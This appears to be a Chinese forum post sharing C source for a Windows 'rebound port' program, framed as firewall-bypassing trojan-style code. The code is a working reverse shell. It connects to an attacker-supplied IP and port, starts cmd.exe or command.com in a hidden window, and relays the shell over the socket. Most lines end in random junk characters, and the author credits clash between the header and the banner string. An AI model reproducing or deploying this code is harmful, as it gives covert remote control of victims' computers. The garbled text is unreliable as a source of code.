这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ul3xeu
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/* ============================== riRG9c |
Rebound port in Windows NT 7r2p+LP[
By wind,2006/7 #w8.aNU+]
===============================*/ 50a';!H
#include &VcO,7 A|
#include K /%5\h
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#pragma comment(lib,"wsock32.lib") I!Mkss xc
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void OutputShell(); ^/#8 "
SOCKET sClient; h"'}Z^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )1$H7|
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void main(int argc,char **argv) \tY7Ga%c
{ L\!Oj5
WSADATA stWsaData; N8=-=]0G
int nRet; aOQT-C[
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SOCKADDR_IN stSaiClient,stSaiServer; keStK8
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if(argc != 3) -BWWaL
{ cl |}0Q5
printf("Useage:\n\rRebound DestIP DestPort\n"); IRTWmT
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return; I3}]MAE
} x(p/9$.#
m\E=I5*/
WSAStartup(MAKEWORD(2,2),&stWsaData); ^:,wk7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o 9(x\g
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stSaiClient.sin_family = AF_INET; O^ 5C
stSaiClient.sin_port = htons(0); ;jO+<~YP!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |;^$IZSsz
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U??OiKVZ+
{ `:jF%3ks+0
printf("Bind Socket Failed!\n"); THB[(3q
return; zU!d(ge.E
} q8,,[R_
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stSaiServer.sin_family = AF_INET; e2g`T{6M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hS>=pO+y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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ln":j?`
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M(uJ'Ud/!
{ 73_-7'^mQ
printf("Connect Error!"); ;e9&WEG_\
return; 0-57_";%Q
} zQUNvPYM
OutputShell(); 25r3[gX9`
} '@IReMl
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void OutputShell() .9Dncsnf,`
{ 5@
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char szBuff[1024]; 9xE_Awlc85
SECURITY_ATTRIBUTES stSecurityAttributes; D9hq$?
OSVERSIONINFO stOsversionInfo; TI0=nfj
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4Lz[bI
STARTUPINFO stStartupInfo; H+@?K6{h
char *szShell; ~:|V,1
PROCESS_INFORMATION stProcessInformation; |cC&,8O:{
unsigned long lBytesRead; Og?GYe^_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^+gD;a|t
: #so"O
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zv?"1Y< L
stSecurityAttributes.lpSecurityDescriptor = 0; y{~tMpo<
stSecurityAttributes.bInheritHandle = TRUE; I|;C}lfp
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Hw62'%
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DJqJ6 z:'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MmFtG-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #&?}h)Jr'
stStartupInfo.wShowWindow = SW_HIDE; 4r86@^c*
stStartupInfo.hStdInput = hReadPipe; _'^_9u G
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g_?Q3
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GetVersionEx(&stOsversionInfo); DbtkWq%
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switch(stOsversionInfo.dwPlatformId) 2Uu!_n}tNF
{ KuL+~
case 1: "|R75m,Id
szShell = "command.com"; OI3j!L2f
break; OKk"S_`
default: `DM)tm3&m
szShell = "cmd.exe"; Y##lFEt
break; h`( VMf'#
} s0Z)BR #
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YN7`18u
g`tV^b")
send(sClient,szMsg,77,0); "D
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while(1) #.C2_MN>
{ @xBO[v
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <Q`3;ca^
if(lBytesRead) nKI?Sc
{ \MPbG$ ^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2]FRIy
d
send(sClient,szBuff,lBytesRead,0); tCPK_Wws?Z
} $Zkk14
else @gM}&G08
{ xVN!w\0
lBytesRead=recv(sClient,szBuff,1024,0); 2U"2L^oKI
if(lBytesRead<=0) break; :JZV=@<T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9E0x\%2K
} FU.?n)P
} I[w5V;>*
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return; ~k}O"{
y
}